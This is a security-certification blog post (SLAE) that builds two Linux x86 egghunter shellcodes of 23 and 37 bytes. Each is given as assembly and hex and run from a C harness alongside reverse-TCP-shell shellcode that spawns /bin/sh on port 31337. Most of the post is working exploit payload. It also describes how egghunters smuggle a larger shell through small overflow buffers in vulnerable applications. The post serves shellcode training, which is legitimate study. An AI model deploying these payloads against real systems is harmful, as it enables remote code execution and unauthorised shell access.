SLAE 3: Egghunter shellcodes (23 & 37 Bytes)

SLAE_logo2

Content

  1. Why egg hunter shellcodes?
  2. Small egg hunter
  3. Proof of concept
  4. Robust egg hunter
  5. Proof of concept

1. Why egg hunter shellcodes?

Both our shellcodes from the earlier sections are fairly small by modern standards, being 91 and 72 bytes for the bind shell and reverse shell respectively. What, however, if the buffer is not even that big?

We can use a technique called “egg-hunter”, which uses different local stages of shellcode. A small stage can be placed into our restricted buffer doing nothing else but searching our memory for a particular tag that marks the beginning of our second, bigger and nastier, shellcode.

The tag is called the egg and the searching algorithm the egg hunter.

Let’s assume we are trying to exploit an application vulnerability by passing malicious code through an input field to the server. Now let’s say that there are several of those input fields, some larger than others. One of the smaller ones is vulnerable to a buffer overflow attack but it only provides us with 40 bytes to play with for our shellcode.

Why can’t we smuggle in our reverse shell through one of the bigger fields, submit our exploit though the vulnerable field, crash the process, execute our egghunter which in turn searches our memory for the egg and, when found, redirects code execution to the shellcode following the egg.

I will apply the same approach as for the bind shell:

2. Small egg hunter shell code

In theory, searching for an egg should be a piece of cake.

The following shellcode does exactly that and is only 23 bytes:

; Filename: small-egghunter.nasm
; Author:   Re4son <re4son [at] whitedome.com.au>
; Website:  http://www.whitedome.com.au/re4son
;
; Purpose: Linux x86 egghunter for searching allocated 
;          memory regions only
;          23 Bytes
;
; "\xeb\x10\x59\xb8\x77\x30\x30\x74\x89\xcf\xaf\xe0\xfb\xaf\xe0\xf8\xff\xe7\xe8\xeb\xff\xff\xff"

global _start            

section .text

_start:

 jmp short call_next            ; start with jmp, call, pop routine

next:
  pop ecx
  mov        eax,0x74303077        ; w00t

loop:
  mov         edi,ecx
  scasd                    ; edi + 4, cmp mem content with exa
  loopnz      loop                ; jmp back if no match, dec ecx
  scasd
  loopnz      loop                ; jmp back if no match, dec ecx
  jmp         edi                 ; execute shellcode

call_next:
  call next                ; get our start address

Let’s pop it into our POC program together with our reverse shell shellcode:

#include <stdio.h>
#include <string.h>
#include <stdlib.h> 

#define EGG "\x77\x30\x30\x74"	/* w00t */

unsigned char egghunter[30];

void main()
{
				/* Reverse tcp 127.0.0.1:31337 */
  unsigned char shellcode[256] = \
				EGG
				EGG
				"\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1"
				"\x6a\x66\x58\x89\xc7\xcd\x80\x97\x68\x7f"
				"\x00\x00\x01\x66\x68\x7a\x69\x66\x6a\x02"
				"\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb3\x03"
				"\xcd\x80\x5b\x87\xca\xb0\x3f\xcd\x80\x49"
				"\x79\xf9\x99\x89\xd1\x52\x68\x2f\x2f\x73"
				"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b"
				"\xcd\x80";

  strcpy(egghunter, "\xeb\x10\x59\xb8"
		    EGG
		    "\x89\xcf\xaf\xe0\xfb\xaf\xe0\xf8\xff\xe7\xe8\xeb\xff\xff\xff");

  printf("Shellcode: %d bytes\n", strlen(shellcode));
 
  printf("Egghunter: %d bytes\n", strlen(egghunter));
 
  int (*ret)() = (int(*)())egghunter;
 
  ret();
}

3. Compile and test the POC

The code works as advertised – It crawls backwards through memory and jumps to the shellcode marked with the egg when found:

slae03_001

This code only works in perfect conditions though:

  • The second stage shellcode must be located behind the egghunter in memory, i.e. at a lower memory address
  • All memory between the egghunter and the egg must be allocated

Perfect conditions that are rarely found in the real world. One of the reasons for using an egghunter is a smashed stack which, in turn, would crash our exploit when we hit it (see NTP daemon readvar BO example.

4. Robust egg hunter

To deal with the real world challenges such as unreferenced memory location and our egg being located at a higher memory location as the egghunter, we need to get the big guns out:

Skape’s paper on egghunting is the ultimate reference for robust and professional shellcode development.

I will implement his “Access(2) revisited” code.
After hours of debugging I finally found the reason for seg faults during execution: a dirty ecx buggered up our scasd instruction. I’m going to zero it out on startup.

 
; Filename: egghunter.nasm
; Author:   Re4son <re4son[at]whitedome.com.au>
;           98% Skape's shellcode - I just cleared ecx on
;           startup as it causes SIGSEGV and me not getting any sleep
;
; Purpose: Linux x86 egghunter using revised access(2) approach
;          37 Bytes
;
; "\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"

global _start            

section .text

_start:
  xor ecx, ecx
  mul ecx

skip_efault:
  or dx, 0xfff
next_addr:
  inc edx
  lea ebx, [edx+0x4]
  push 0x21
  pop eax
  int 0x80
  cmp al,0xf2
  jz skip_efault
  mov eax,0x74303077
  mov edi,edx
  scasd
  jnz next_addr
  scasd
  jnz next_addr
  jmp edi


 

5. Compile and test the POC

Lets pop it into our POC program:

#include <stdio.h>
#include <string.h>

#define EGG "\x77\x30\x30\x74"	/* w00t */

unsigned char egghunter[] = \
			"\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42"
			"\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2"
			"\x74\xee\xb8"
			EGG
			"\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";


				/* tcp reverse shell to 127.0.0.1:31337 */
unsigned char code[] =  \
			EGG
			EGG
			"\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1"
			"\x6a\x66\x58\x89\xc7\xcd\x80\x97\x68\x7f"
			"\x00\x00\x01\x66\x68\x7a\x69\x66\x6a\x02"
			"\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb3\x03"
			"\xcd\x80\x5b\x87\xca\xb0\x3f\xcd\x80\x49"
			"\x79\xf9\x99\x89\xd1\x52\x68\x2f\x2f\x73"
			"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b"
			"\xcd\x80";


main()
{
	printf("Egghunter Length:  %d\n", strlen(egghunter));
	printf("Shellcode Length:  %d\n", strlen(code));
	int (*ret)() = (int(*)())egghunter;
	ret();
}

And run it:

slae03_002

Mission accomplished.

All files are available on github.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE – 674

Facebooktwitterredditpinterestlinkedinmail

Leave a Reply